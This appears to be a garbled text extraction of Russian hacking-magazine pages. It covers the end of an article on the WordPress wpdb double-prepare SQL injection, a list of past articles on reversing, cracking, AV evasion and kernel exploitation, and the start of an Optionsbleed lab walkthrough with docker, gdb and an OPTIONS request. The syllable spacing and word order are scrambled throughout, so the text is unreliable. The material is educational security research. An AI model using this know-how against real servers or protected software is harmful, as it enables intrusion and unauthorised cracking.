/wp-includes/wp-db.php

1318: $query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query )
; // escape any unescaped percents

На   метода    ука зано,  что  под‐ 
держи вают ся толь ко эти типы.

офи циаль ной  стра нице  докумен тации prepare

This function only supports a small subset of the sprintf syntax; it only sup-
ports  %d  (integer),  %f  (float),  and  %s  (string).  Does  not  support  sign,
padding, alignment, width or precision specifiers. Does not support argu-
ment numbering/swapping.

Толь ко  вот  кто  чита ет  докумен тацию?  В  резуль тате  перес тали  работать
тысячи  пла гинов.  Писали  даже  о  количес тве  строк,  которые  некор рек тно
отра баты вали  пос ле  пат ча,  —  1,2  мил лиона.  Поэто му  вла дель цы  сай тов
и  девело перы  пла гинов  нехило  вспо лоши лись  и  начали  про сить,  что бы  все
вер нули  как  было.  Одна ко  раз работ чики  WordPress    отка зом:  они
не будут добав лять под дер жку недоку мен тирован ных типов перемен ных.

от ветили

На эту проб лему обра тил вни мание иссле дова тель безопас ности Энто ни
Фер рара  (Anthony  Ferrara),  который  выяс нил,  что  фикс,  выпущен ный  раз‐ 
работ чиками,  не  устра няет  уяз вимость  пол ностью.  Хотя  Фер рара  пре дос‐ 
тавил PoC‐экс пло ит, коман да WordPress не торопи лась что‐то делать. О том,
как в течение полуто ра месяцев Энто ни пытал ся убе дить раз работ чиков при‐ 
нять меры, ты можешь   у него в бло ге.про читать

Свой экс пло ит Фер рара еще не выложил в паб лик, но мы с нетер пени ем
будем  его  ждать,  что бы  разоб рать ся  в  деталях.  В  бло ге  есть  некото рые
намеки на то, где мож но поис кать проб лему. Дер зай, воз можно, ты най дешь
уяз вимое мес то и напишешь свой экс пло ит.

В  любом  слу чае  еще  один фикс  был  выпущен,  и  поль зовате ли  получи ли
пол ностью перера ботан ный механизм плей схол деров. Быть может,  пора бы
уже перехо дить на PDO?

Еще  хотелось  бы  добавить:  если  ты  сам  пишешь  что‐нибудь,  исполь зуя
код  WP,  то  возь ми  за  пра вило  никог да  (!)  не  исполь зовать  метод 
для тех дан ных, которые уже были им обра бота ны. К тому же сущес тву ют фун‐ 
кции  и  филь тры,  которые  могут  содер жать  в  себе  этот  метод,  так  что  будь
начеку. Кто зна ет, какие еще проб лемы всплы вут в реали зации нового алго‐ 
рит ма  .

prepare

prepare
Все упо мяну тые в статье тес товые скрип ты и экс пло ит ты всег да смо жешь

най ти в  .мо ем репози тории

ВИДЕО С ДЕМОНСТРАЦИЕЙ УЯЗВИМОСТИ

VISUALHACK#22 WordPress 4.7.4 double prepare SQL injection

ВЫВОДЫ

Эта фун дамен таль ная уяз вимость при сутс тво вала в коде на про тяже нии мно‐ 
гих лет — начиная с вер сии 2.3.0. Стан дарты безопас ности и их реали зации
очень силь но меня ются с течени ем вре мени и раз вити ем тех нологий. То, что
казалось безопас ным вче ра, сегод ня может быть с лег костью ском про мети‐ 
рова но. Нуж но сле дить за потоком и ловить момен ты, ког да пора прек ращать
цеп лять ся  за  ста рое  и  смот реть  на  новые  методы —  те,  которые  отве чают
текущим кри тери ям безопас ности.

https://github.com/allyshka/visualhack/blob/master/224/wordpress/prepare.cxql
https://github.com/WordPress/WordPress/blob/4.8.2/wp-includes/wp-db.php#L1318
https://developer.wordpress.org/reference/classes/wpdb/prepare/#description
https://core.trac.wordpress.org/ticket/41925
https://blog.ircmaxell.com/2017/10/disclosure-wordpress-wpdb-sql-injection-background.html
https://github.com/allyshka/visualhack/tree/master/224/wordpress
https://vimeo.com/241670947


САМЫЕ КРУТЫЕ МАТЕРИАЛЫ

ЗА ТРИ ГОДА
ПО РЕВЕРСИНГУ И MALWARE

Иван Пискунов

ВЗЛОМ

Иног да мы, редак торы и авто ры жур нала «Хакер», сами чита‐ 
ем жур нал «Хакер». Нет, ну то есть мы пос тоян но его чита ем
:), но иног да получа ется так, что, раз рабаты вая новые темы,
гуг лим  что‐нибудь  инте рес нень кое,  натыка емся  на  кру тую
статью,  чита ем  ее  с  огромным  удо воль стви ем  и  вдруг
понима ем,  что...  это  же  мы  ее  и  делали,  при чем,  ска жем,
все го  пару  лет  назад.  И  при  этом  матери ал  по‐преж нему
оста ется  сов ремен ным! И  дей стви тель но,  нес мотря  на  всю
динамич ность  нашей  отрасли,  сущес тву ет  опре делен ная
клас сика,  и  прак тичес кие  кей сы,  которые  были  акту аль ны,
ска жем, в 2015‐м, будут акту аль ны еще нес коль ко лет.

В общем, мы решили про шер стить все выпус ки и сде лать для тебя под бороч‐ 
ку  самых  кру тых  матери алов,  которые  ты,  в  прин ципе,  мог  и  про пус тить.
Как говорит ся, от пре дан ных читате лей жур нала — для пре дан ных читате лей
жур нала  (а  что,  я  как  раз  такой —  у меня  вся  под шивка  с  2000  года  лежит,
могу дос тать с антре солей и предъ явить! — Прим. ред.).

БИБЛИОТЕКА АНТИОТЛАДЧИКА

Пе ред нами неболь шой гайд по тех никам анти отладки при ложе ний. Нес мотря
на то что статья доволь но скром ная по объ ему, она очень качес твен но опи‐ 
сыва ет  основные  методы  и  трю ки  исполь зования  анти отла доч ных  при емов
для про тиво дей ствия ана лизу бинар ного кода,  то есть при ложе ния. Помимо
теории,  дают ся  при меры  кода,  опи сание  парамет ров  и  фла гов.  В  общем,
это must have нас тояще го ревер сера! В зак лючении так же при веде ны мне ния
авто ритет ных экспер тов Вячес лава Закор жев ско го из «Лабора тории Кас пер‐ 
ско го»  и  Алек сан дра  Мат росова,  неког да  Senior  virus  researcher  в  лабора‐ 
тории ESET.

Ска чать PDF

АНТИОТЛАДОЧНЫЕ ТРЮКИ. АКТИВНО ПРОТИВОДЕЙСТВУЕМ
ОТЛАДКЕ НАШЕГО ПРИЛОЖЕНИЯ

В  матери але  рас смат рива ются  кей сы  исполь зования  осо бен ностей  выпол‐ 
нения машин ного  кода для про тиво дей ствия отладке. В час тнос ти, API‐фун‐ 
кции rdtsc (Read Time Stamp Counter) и осо бен ности реали зации на про цес‐ 
сорах  Intel  и  AMD.  Рас ска зыва ется  про  выпол нение  некото рых  инс трук ций
CPU, поз воля ющих соз давать анти отла доч ные методы, обой ти которые спо‐ 
собен не каж дый ревер сер.
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VEH В WINDOWS X64. УСЛОЖНЯЕМ АНАЛИЗ КОДА С ПОМОЩЬЮ
ВЕКТОРНОЙ ОБРАБОТКИ ИСКЛЮЧЕНИЙ

Быть может, тебе уже доводи лось читать об обра бот ке исклю чений в x64. Ну
а  если  нет,  эта  статья  как  раз  для  тебя!  Опи сыва ется  и  теория  и  прак тика
исполь зования век торной обра бот ки исклю чений в при ложе ниях, написан ных
под  ОС  Windows.  Пред став ленная  информа ция  доволь но  ред кая  и  поч ти
не име ет ана логов в прог раммист ской рус ско языч ной литера туре.

Ска чать PDF

ОТЛАДКА VS ЗАЩИТА. ПРОСТЫЕ СПОСОБЫ СЛОЖНОЙ ОТЛАДКИ

Ты  пом нишь  игрушки,  защищен ные  от  копиро вания  тех нологи ей  StarForce
Protection  System?  Так  вот,  в  этой  статье  автор  пред лага ет  поз накомить ся
с некото рыми неп росты ми видами защит ных механиз мов, их опи сани ем, при‐ 
мера ми  реали зации  и  оцен кой.  Это  хоть  неболь шой,  но  полез ный  экскурс
в мир про тивос тояния средств защиты и средств ана лиза. Ты смо жешь узнать
под робнос ти и тех ничес кие детали и пер вого и вто рого.
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БУРИМ ЯДРО WINDOWS. KERNEL POOL OVERFLOW — ОТ ТЕОРИИ К
ПРАКТИКЕ

Яд ро  Windows  всег да  было  лакомым  кусоч ком  для  хакера,  осо бен но
при  наличии  готовых  экс пло итов,  при водя щих  к  повыше нию  прав.  Автор
статьи рас ска зыва ет о  том,  как мож но про экс плу ати ровать уяз вимос ти ядра
сов ремен ных  NT‐сис тем  путем  манипу ляций  со  стра ница ми  памяти.  При‐ 
водят ся при меры кода и опи сание тех нологии исполь зования кода. Всем, кто
инте ресу ется rootkit‐тех нологи ями, к проч тению обя затель но!
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КРЯК БЕЗ ДИЗАССЕМБЛЕРА

Статья  леген дарно го  Кри са  Кас пер ски.  Уни вер саль ный  взлом  три аль ных
прог рамм.  У  тебя  уста нов лен  три аль ный  шаровар?  Трид цать  дней  истекли
и  прог рамма  не  работа ет?  Ни  зна ния  ассем бле ра,  ни  навыка  работы
с  отладчи ком,  ни  уто митель ного  поис ка  тор кающе го  кря ка/серий ника/кей‐ 
гена не тре бует ся. Прос то берем и лома ем!
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ЭНЦИКЛОПЕДИЯ АНТИОТЛАДОЧНЫХ ПРИЕМОВ

Еще одна статья Кри са Кас пер ски. На этот раз он рас ска зыва ет, какой софт
и  для  каких  целей  понадо бит ся,  если  ты  всерь ез  решил  взять ся  за  дело
ревер синга. Нес мотря на то что мажор ные номера вер сий это го ПО уже дав‐ 
но  ушли  впе ред,  сами  инс тру мен ты  оста ются  акту аль ными  и  вос тре бован‐ 
ными по сей день!
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ДИЗАССЕМБЛИРОВАНИЕ C# ПРОГРАММ ОТ A ДО Z

Язык  прог рамми рова ния  C#  активно  прод вига ется  Microsoft.  А  плат форма
.NET  про дол жает  победо нос ное  шес твие.  Поэто му  неуди витель но,  что
доволь но  мно го  прог рамм  ком пилиру ются  имен но  на  этом  язы ке.  В  статье
опять же Кри са Кас пер ски объ ясня ется, как дизас сем бли ровать Visual Basic /
C#  сбор ки,  пат чить  в  hiew’е,  вес ти  отладку  на  уров не  байт‐кода.  Ты  так же
поуп ражня ешь ся в написа нии сво его собс твен ного crackme.
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ВИРТУАЛЬНАЯ ОТЛАДКА

От ладка кода режима ядра сущес твен но слож нее, чем отладка обыч ных прог‐ 
рамм. Оно и понят но: если для отладки поль зователь ско го  кода  ты можешь
исполь зовать стан дар тный дебаг гер,  нап ример вши тый в Visual Studio или в
IDA,  то  для  отладки  кода  режима  ядра  тре буют ся  спец средс тва.  В  статье
до деталей опи сыва ется отладка kernel mode кода с исполь зовани ем VMware.
Такого под робно го гай да на рус ском язы ке я еще не встре чал.
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УБИТЬ DEP’А. ТЕОРИЯ И ПРАКТИКА ОБМАНА HARDWARE-DEP

DEP,  он  же  Data  Execution  Prevention,  —  это  механизм,  при думан ный  раз‐ 
работ чиками Microsoft для защиты понят но каких ОС от выпол нения нелеги‐ 
тим ного кода, который чаще все го при меня ется для экс плу ата ции уяз вимос‐ 
тей или инфи циро вания целевой машины жер твы. Помимо соф тового DEP’a,
в  сов ремен ное  железо  вши та  фун кция  кон тро ля  на  аппа рат ном  уров не.
Механизм  ока зал ся  впол не  рабочий.  Но  рабочий  не  зна чит  неуяз вимый.
В  статье  автор  на  реаль ных  при мерах  рас ска зыва ет  о  DEP  на  аппа рат ном
уров не и том, как его мож но хак нуть!

Ска чать PDF

РУТКИТАМ — БОЙ!

Рут киты, как извес тно, очень ковар ная и опас ная вещь. С помощью тулз дан‐ 
ного  клас са  вирусо писа тели  скры вают  при сутс твие  инфекции  в  сис теме
и успешно замета ют сле ды взло ма. Но и для борь бы с ними в пос леднее вре‐ 
мя  соз дано  немалое  количес тво  спе циаль ных  ути лит  помимо  встро енных
механиз мов  детек ции  анти вирус ного  ПО.  В  статье  автор  рас смат рива ет,
как  вруч ную  с  помощью прог рамм Anti‐Spy  Info, RootkitRevealer  и  некото рых
дру гих най ти в сис теме рут кит, как для поис ка исполь зовать отладчик SoftICE
и чем пре дот вра тить воз можное зараже ние сис темы.
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МОРФИМ, НЕ ОТХОДЯ ОТ КАССЫ. МУТАЦИЯ КОДА ВО ВРЕМЯ
КОМПИЛЯЦИИ

Ты  написал  свой  пер вый  софт  и  задумал ся,  как  защитить  его  от  взло ма?
Покупать  навес ные  защиты  нет  желания,  а  из  freeware‐тулз  нет  ничего  дей‐ 
ствен ного?  Есть  воз можность  защитить  свою  прог рамму  средс тва ми  ком‐ 
пилято ра  FASM.  Автор  рас ска зыва ет  на  прос тых  при мерах  про  методы
полимор физма (генера ция мусор ного кода), метамор финга (замена инс трук‐ 
ций ана лога ми), пер мутации  (слу чай ное переме шива ние бло ков кода с сох‐ 
ранени ем  фун кци ональ нос ти  и  логики  работы),  обфуска ции  (метод  запуты‐ 
вания  логики  кода,  про тиво дей ствие  ана лизу),  кон тро ля  целос тнос ти  кода
(для защиты от изме нения, пат чей), шиф рование кода и дан ных.
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МНОГОРАЗРЯДНЫЕ ШЕЛЛ-КОДЫ. ПИШЕМ RING0-SHELLCODE ПОД
WINDOWS X64

За полу чить шелл‐код — слав ная добыча для любого хакера, ведь это пря мой
дос туп  в  сис тему!  Но  дело  тре бует  сущес твен ных  сил  и  зна ний  мат части.
И  если  учесть,  что  32‐бит ные  ОС  зна читель но  раз нятся  со  сво ими  64‐бит‐ 
ными  брать ями,  при выч ные  спо собы  написа ния  шелл‐кодов  ста новят ся
совер шенно  бес полез ными.  Поэто му  по  х64  при ходит ся  копать ся  руч ками,
срав нивать  и  ана лизи ровать.  Чем  и  пред лага ет  занять ся  автор  в  дан ной
статье. В ито ге пос ле прак тичес ких  занятий  ты сам смо жешь написать свой
пер вый ring0‐shellcode под х64‐вин ду! Ты готов? Впе ред!
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Продолжение статьи →
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САМЫЕ КРУТЫЕ МАТЕРИАЛЫ
ПО РЕВЕРСИНГУ И MALWARE

ЗА ТРИ ГОДА

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ОБУЗДАТЬ WINDBG. ПРОСТЫЕ ПРИЕМЫ СЛОЖНОГО ОТЛАДЧИКА

И  сно ва  тема  отладки.  На  дос ке  для  пре пари рова ния  —  WinDbg,  мощ ный
отладчик для юзер модных при ложе ний и драй веров. И дан ная тема осо бен но
акту аль на  для  ревер серов,  которым  приш лось  пол ностью  или  час тично
перей ти  на  64‐бит ные  плат формы.  Ведь,  по  сути,  ни  один  име ющий ся  x64‐
отладчик не спо собен срав нить ся с WinDbg по воз можнос тям, так что в статье
речь пой дет в основном про 64‐бит ные вер сии Windows. Но и обла дате ли 32‐
бит ных смо гут обна ружить для себя инте рес ную информа цию.
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ДРАЙВЕРЫ АНТИВИРУСОВ — ИСТОЧНИК ЗЛА. УЯЗВИМОСТИ В
ДРАЙВЕРАХ ПРОАКТИВНЫХ ЗАЩИТ

Из  теории  кодопи сатель ства  извес тно,  что  боль шое  количес тво  прог рамм,
пред назна чен ных  для  анти вирус ной  защиты,  исполь зуют  драй веры  режима
ядра в Windows как «окно» для дос тупа в более при виле гиро ван ный режим —
ring  0.  Это  класс  ПО,  к  которо му  мож но  отнести  анти виру сы,  меж сетевые
экра ны,  HIPS’ы  (Host  Intrusion  Prevention  System)  и  популяр ные  ныне  прог‐ 
раммы  клас са  internet  security.  Но,  как  показы вает  прак тика,  мно гие  из  них
содер жат  уяз вимос ти.  А  в  боль шинс тве  соф твер ных  ком паний  их  драй веры
не  тес тиру ют.  Вывод  прост:  драй веры  анти виру сов  —  лакомый  кусочек
для хакера. Автор опи сыва ет, какие есть проб лемы в сов ремен ных драй верах
защит ного ПО, и показы вает, как их мож но успешно про экс плу ати ровать. Вот
нас тоящая тема для иссле дова телей багов и раз работ чиков экс пло итов!
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АССЕМБЛЕРОМ ПО ЭВРИСТИКЕ. НАКОРЯЧИВАЕМ AVG, AVAST,
CLAMAV, PANDA, COMODO: ПРОСТО, ЭФФЕКТИВНО И БЕЗ
ИЗВРАЩЕНИЙ

Эв ристи чес кий  ана лиза тор  стал  штат ным  механиз мом  сов ремен ного  анти‐ 
вирус ного ПО. Резон в этом есть: его задача — обна ружи вать необ наружи‐ 
ваемое, находить неиз ведан ное. Кон цепция, нап равлен ная в про тиво вес сиг‐ 
натур ному  детек ту,  осно ван ному  на  базах  дан ных.  Поэто му  анти вирус ные
лабора тории  пос тоян но  совер шенс тву ют  алго рит мы  сво их  эвристи чес ких
ана лиза торов.  Одна ко  и  их  мож но  обой ти.  Как?  В  дан ной  статье  автор
демонс три рует, как, исполь зуя код на ассем бле ре, уде лать мно гих име нитых
вен доров. Чита ем, смот рим, экспе римен тиру ем.
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МАЛВАРЩИКИ ПРОТИВ PATCHGUARD. ЛЕЗЕМ В НЕДРА
ТАИНСТВЕННОЙ ТЕХНОЛОГИИ MICROSOFT — KERNEL PATCH
PROTECTION

Кто,  как  не  Microsoft,  зна ет  цену  ата ки  на  про изво димые  ей  опе раци онные
сис темы?  Так,  с  релизом  Windows  Server  2003  MS  запус тила  в  мас сы
механизм защиты ядра от изме нений, получив ший наз вание Kernel Patch Pro‐
tection, более извес тный ныне как PatchGuard. Фича, помога ющая защитить ся
боль ше от кри вых рук прог раммис тов, пишущих корявые подел ки, может при‐ 
годить ся  и  в  деле  борь бы  с  рут китами.  Итак,  автор  статьи  пог ружа ет  нас
в деб ри Kernel Patch Protection, рас ска зыва ет, как мож но ее юзать для защиты
сис темы от падения ядра, и собс твен но о том, как этот механизм мож но пре‐ 
одо леть.
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ИЗУЧАЕМ АНТИВИРУС. РАСКОВЫРИВАЕМ АНТИВИРУСНЫЙ
СКАНЕР, ЭВРИСТИЧЕСКИЙ АНАЛИЗАТОР И ЭМУЛЯТОР В
АНТИВИРУСНЫХ ПРОГРАММАХ

Ме ня  всег да  инте ресо вало,  как  работа ет  анти вирус ное  ПО.  Прос то  было
любопыт но. А пос ле того, как я занял ся темой  reverse malware, это переш ло
в  область  про фес сиональ ных  инте ресов.  Толь ко  вот  по‐нас тояще му  полез‐ 
ной инфы на эту  тему никог да не было. Да и в офи циаль ных источни ках она
вряд ли ког да‐то появит ся. А вот в этой статье автор на понят ном для читате‐ 
ля язы ке популяр но рас ска зыва ет, как работа ет сов ремен ный анти вирус. Мы
уви дим под мик роско пом,  как  ска нер  ана лизи рует фай лы,  как  отра баты вает
эвристи ка и пашет эму лятор кода, зашитый в анти вирус ный дви жок.
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БУРИМ АНТИВИРУС. ЕЩЕ ГЛУБЖЕ! РАССМАТРИВАЕМ СПОСОБЫ
МОНИТОРИНГА СОБЫТИЙ И ПРОАКТИВНОЙ ЗАЩИТЫ В РАЗНЫХ
АНТИВИРУСНЫХ ПРОГРАММАХ

И сно ва тема изу чения пот рохов анти вирус ного ПО. На сей раз рас ска зыва‐ 
ется о  тех нологии HIPS  (Host  Intrusion Prevention System) — так называ емом
про активном  детек тирова нии  (поведен ческий  ана лиз,  ана лиз,  осно ван ный
на монито рин ге сис темных событий). И автор копа ет в глу бину воп роса, ведь
под эти ми поняти ями может скры вать ся, нап ример, как при митив ная защита
нес коль ких  клю чей  реес тра  или  уве дом ления  о  попыт ках  дос тупа  к  опре‐ 
делен ным  дирек тори ям,  так  и  ана лиз  поведе ния  прог рамм  или  какая‐либо
дру гая  тех нология,  осно ван ная  на  монито рин ге  сис темных  событий.  Под‐ 
ходит для тех, кто серь езно инте ресу ется мал варью. ;)
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ТИБЕРИУМНЫЙ РЕВЕРСИНГ. ВНЕДРЕНИЕ Х-КОДА И ВИРТУАЛЬНАЯ
МАШИНА: ТЕОРИЯ И ПРАКТИКА

Ты навер няка играл в Command & Conquer, и если она была лицен зион ная, то
пом нишь неудач ные попыт ки сде лать  вир туаль ный образ дис ка. Виной  тому
мало извес тная сис тема защиты от копиро вания кон тента с наз вани ем Secu‐
ROM.  Хотя  Sony  как  вла делец  сту дии  раз работ ки  и  отка залась  от  услуг
нулево го  коль ца  пос ле  нес коль ких  судеб ных  раз биратель ств,  ребята
из инсай дно го под разде ления Protection Technology про дол жают поль зовать‐ 
ся низ коуров невыми фун кци ями, где абсо лют ным чем пионом по вызову счи‐ 
тает ся KeBugCheckEx. Одна ко нет ничего абсо лют но надеж ного, и вот приш‐ 
ла  оче редь  раз бора методов  взло ма SecuROM. В матери але  рас смат рива‐ 
ется  On‐line  patching,  исполь зующее  WinAPI‐фун кции
ReadProcessMemory/WriteProcessMemory, Offline patching через GetComman‐
dLine/GetFilePath и DLL hijacking с дос тупом в таб лицу импорта (точ нее, фун‐ 
кция DllMain).
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X-ПРЕПАРАЦИЯ: ВСКРЫВАЕМ ХИТРЫЙ SALITY.AA. УЧИМСЯ
РАСПОЗНАВАТЬ ПОЛИМОРФИЗМ И ОБФУСКАЦИЮ КОДА НА
ПРИМЕРЕ ИЗВЕСТНОГО ВИРУСА

Тех ничес кий  ана лиз  в  дан ной  статье  пос вящен  полимор фно му  генера тору
инс трук ций, при меня емо му в извес тном вирусе Virus.Win32.Sality.aa. Он поз‐ 
воля ет  получать  раз личный  обфусци рован ный  код  с  при мене нием  FakeAPI
при каж дом его исполь зовании. Но это не все, автор рас смат рива ет не прос‐ 
то алго ритм, а тон кости фор мирова ния x86‐инс трук ций — пре фик сы, опко ды,
поля  ModRM,  SIB.  Так же  не  оста нут ся  без  вни мания  общие  схе мы  работы
обфуска тора и непос редс твен но генера тора кода.
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МОБИЛЬНАЯ МАЛВАРЬ ПОД МИКРОСКОПОМ. РАССМАТРИВАЕМ
«ЭРОТИЧЕСКИЙ» J2ME-ЗЛОВРЕД ВО ВСЕХ ИНТИМНЫХ
ПОДРОБНОСТЯХ

Мал варью  под  мобиль ные  устрой ства  никого  уже  не  уди вишь.  В  отли чие
от  PC‐шных  вер сий  мобиль ная  мал варь,  как  пра вило,  мас киру ется
под  какое‐нибудь  легитим ное  при ложе ние  или  игру  и  нацеле на  на  опус‐ 
тошение сче та вла дель ца. Сегод ня в нашей лабора тории мы изу чим злов ред
под  Java  2  Micro  Edition  (J2ME).  Пред варитель но  автор  запус кает  злов ред
под эму лято ром Sjboy. И вот игра‐тро ян на тво ем дис плее. Тех ничес кие под‐ 
робнос ти с при мера ми кода под катом мож но пос мотреть в дан ной статье.
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НА МАЛВАРЬ БЕЗ АНТИВИРУСА. ЧТО ДЕЛАТЬ, ЕСЛИ ЕГО БАЗЫ
ЕЩЕ НЕ УСПЕЛИ ОБНОВИТЬСЯ?

Раз работ чики анти виру сов заяв ляют, что защитить ся от мал вари мож но, толь‐ 
ко  исполь зуя  анти вирус ные  про дук ты.  Если  про пус тить  область  мар кетин га,
в  чем‐то  они  дей стви тель но  пра вы. Но  на  прак тике  быва ют  ситу ации,  ког да
сиг натур ные  базы  еще  не  успе ли  обно вить ся,  а  вре донос  уже  про ник
на машину. Или скла дыва ется так, что в сис теме вооб ще ничего не уста нов‐ 
лено из средств защиты. Неуже ли дело без надеж но? Вов се нет — если у тебя
есть голова и пря мые руки, ты смо жешь не толь ко вылечить сис тему от инфи‐ 
циро вания,  но  и  пре дот вра тить  посяга тель ства  мал вари  на  твое  инди виду‐ 
аль ное кибер пространс тво. Как это делать, читай в статье!
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ЗАКЛЮЧЕНИЕ
Это пер вая  часть из  золото го фон да луч ших ста тей  ][аке ра. Под борка была
нацеле на на  кодеров, ана лити ков и ревер серов, име ющих дело как с обыч‐ 
ным соф том, так и с malware. Сле ди за обновле ниями и читай вто рую часть,
пос вящен ную  прак тичес ким  пакетам  хакер ско го  ремес ла!  Да,  кста ти,  если
можешь  посове товать  какой‐нибудь  инте рес ный  матери ал  из  ста рых
«Хакеров» — не  стес няй ся  писать  в  ком менты. Мы и  сами  с  удо воль стви ем
почита ем. :)

https://xakep.ru/static/re-malware/14_windgb.pdf
https://xakep.ru/static/re-malware/15_avdrivers.pdf
https://xakep.ru/static/re-malware/16_asmav.pdf
https://xakep.ru/static/re-malware/17_patchguard.pdf
https://xakep.ru/static/re-malware/18_avresearch.pdf
https://xakep.ru/static/re-malware/19_avint.pdf
https://xakep.ru/static/re-malware/20_tres.pdf
https://xakep.ru/static/re-malware/21_sality.pdf
https://xakep.ru/static/re-malware/22_j2me_malware.pdf
https://xakep.ru/static/re-malware/23_noav.pdf
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ВЗЛОМ

По пуляр ность Apache дела ет потен циаль но опас ным любой
баг в нем. В этой статье мы раз берем уяз вимость,  которая
поз воля ет  читать  дан ные  из  учас тков  памяти  невер но  нас‐ 
тро енно го веб‐сер вера.

Optionsbleed далеко не так опа сен, как Heartbleed, пос коль ку работа ет лишь
на  сер верах  с  опре делен ными  нас трой ками,  да  и  объ ем  уте кающих  дан ных
невелик. Но  этот баг — из  тех,  что инте рес ны сами по  себе:  изу чив его,  ты
смо жешь находить подоб ные или избе гать их, если ты раз работ чик.

СТЕНД
Для успешных испы таний нам нужен веб‐сер вер Apache вер сии 2.2.34 и ниже
или 2.4.27 и ниже, если речь идет о вет ке при ложе ния 2.4.х. Что бы сок ратить
вре мя  уста нов ки  и  нас трой ки  сер вера,  я  рекомен дую  взять  готовый
докер‐кон тей нер,  в  котором  уже  вос созда ны  все  усло вия,  необ ходимые
для экс плу ата ции. Готовый файл, как водит ся, можешь най ти у меня в 

.
ре пози‐ 

тории

docker run ‐p80:80 ‐‐rm ‐‐cap‐add=SYS_PTRACE ‐‐security‐opt seccomp=
unconfined httpd:2.4.25

В кон тей нере уста нов лен отладчик GDB. Если захочешь поиг рать ся,  то сна‐ 
чала убей работа ющий демон apache2, а затем запус ти новый через дебаг‐ 
гер.

pkill httpd
gdb httpd
run ‐X ‐d /usr/local/apache2/

Под готов ка к отладке веб‐сер вера

Optionsbleed  наз вали  по  ана логии  с  Heartbleed,
где  тоже  уте кала  память  про цес са  и  ата кующий
мог ее читать. Options — от метода, которым про‐ 
изво дит ся ата ка.

ДЕТАЛИ
Уяз вимость сущес тву ет,  ког да  в дирек тиве    исполь зует ся  несущес тву‐ 
ющий или отклю чен ный метод HTTP. Нап ример, раз работ чик решил зап ретить
исполь зовать  , одна ко ошиб ся и соз дал такой  ‐файл:

Limit

PATCH .htaccess

<Limit PATC>
</Limit>

В  тес товом  кон тей нере  этот  файл  уже  соз дан  и  находит ся  в  пап ке 
веб‐рута. Теперь пос мотрим, что про исхо дит, ког да мы посыла ем зап рос 

.

test
OP‐

TIONS

OPTIONS /test/ HTTP/1.1
Host: optionsbleed.visualhack

Каж дый  раз,  ког да  выпол няет ся  обра бот ка  вхо дяще го  зап роса,  веб‐сер вер
соз дает  для  него  .  Это  слож ная  струк тура,  которая  содер жит
информа цию  о  нес коль ких  соеди нени ях.  Сей час  нас  инте ресу ет  толь ко

 — пул памяти зап роса.

request_rec

apr_pool_t

/include/httpd.h
787: /**
788:  * @brief A structure that represents the current request
789:  */
790: struct request_rec {
791:     /** The pool associated with the request */
792:     apr_pool_t *pool;

В  арсе нале  Apache  нет  изощ ренных  тех ник  для  умень шения фраг мента ции,
уве личе ния  эффектив ности  и  эко номии  памяти.  Не  исполь зуемая  более
память даже осво бож дает ся‐то не осо бен но час то.

Вмес то  это го  веб‐сер вер  лишь  каж дый  раз  выбира ет  сле дующий  дос‐ 
тупный ука затель на начало бло ка сво бод ной памяти незави симо от объ ема,
который нуж но выделить в дан ный момент. Память выделя ется начиная с пер‐ 
вого  адре са  сво бод ной  памяти,  а  затем  ука затель  сно ва  воз вра щает ся
на этот адрес. В тот момент, ког да выделен ная память боль ше не нуж на, она
не  осво бож дает ся  для  пов торно го  исполь зования.  Вмес то  это го  механизм
очи щает весь пул   пос ле завер шения сетево го под клю чения.request_rec

Так  как  зап росы  к  сер веру  в  боль шинс тве  сво ем  невели ки,  такая  схе ма
не толь ко не при водит к утеч кам памяти, но даже спо собс тву ет умень шению
вре мени отве та, что очень важ но для сай тов с высокой наг рузкой.

При  выпол нении  при веден ного  выше  зап роса    на  самом  деле
выпол няет ся нес коль ко соеди нений с сер вером. Ког да обра баты вает ся пер‐ 
вый кон нект, выделя ется память для хра нения зап роса.

OPTIONS

/modules/http/http_core.c
135: static int ap_process_http_async_connection(conn_rec *c)
136: {
137:     request_rec *r;
...
146:         if ((r = ap_read_request(c))) {
147:
148:             c‐>keepalive = AP_CONN_UNKNOWN;

Ука затель на память, выделен ную для струк туры request_rec

Сер вер прос матри вает дирек торию, которая ука зана в зап росе, и, если там
есть  файл  ,  он  обра баты вает ся.  За  это  отве чает  фун кция 

.
.htaccess ap_‐

parse_htaccess

/server/config.c
2149: AP_CORE_DECLARE(int) ap_parse_htaccess(ap_conf_vector_t **
result,
2150:     request_rec *r, int override,
2151:     int override_opts, apr_table_t *override_list,
2152:     const char *d, const char *access_names)
2153: {
...
2223:     /* cache it */
2224:     new = apr_palloc(r‐>pool, sizeof(struct htaccess_result));

При  пар синге  дирек тивы    сер вер  раз меща ет  ее  дан ные  в  адресном
прос транс тве зап роса. Часть памяти выделя ется для хра нения метода HTTP,
который ука зан в дирек тиве. В нашем слу чае это стро ка  .

Limit

PATC

От ладка httpd на эта пе пар синга дирек тивы Limit из фай ла .htaccess

Фун кция    берет  на  себя  ответс твен ность  за  обра бот ку
этой дирек тивы.

ap_limit_section

/server/core.c
2230: AP_CORE_DECLARE_NONSTD(const char *) ap_limit_section(cmd_parms
*cmd,

2231:     void *dummy,
2232:     const char *arg)
2233: {
...
2255:     /* Check for built‐in or module registered method number */
2256:     methnum = ap_method_number_of(method);
...
2261:     else if (methnum == M_INVALID) {
2262:         /* Method has not been registered yet, but resource 
restriction
2263:         * is always checked before method handling, so 
register it.
2264:         */
2265:         methnum = ap_method_register(cmd‐>pool,
2266:             apr_pstrdup(cmd‐>pool, method));

Ес ли метод, на который воз дей ству ет  , не най ден, то вызыва ется фун‐ 
кция  .

Limit
ap_method_register

Сос тояние сте ка на момент вызова фун кции ap_method_register

Это очень  важ ная фун кция  в  кон тек сте  уяз вимос ти,  поэто му рас смот рим ее
под робнее.  Перемен ная    пред став ляет  собой  струк туру

,  которая исполь зует  хеш‐таб лицу для  сох ранения и  поис ка  ука‐ 
зате лей на дан ные.

methods_registry
apr_hash_t

/modules/http/http_protocol.c
723: AP_DECLARE(int) ap_method_register(apr_pool_t *p, const char *
methname)
724: {
725:     int *methnum;
726:
727:     if (methods_registry == NULL) {
728:         ap_method_registry_init(p);
729:     }
730:
731:     if (methname == NULL) {
732:         return M_INVALID;
733:     }

Вот из таких эле мен тов сос тоит эта струк тура.

/apr/tables/apr_hash.c
75: struct apr_hash_t {
76:     apr_pool_t          *pool;
77:     apr_hash_entry_t   **array;
78:     apr_hash_index_t     iterator;  /* For apr_hash_first(
NULL, ...) */
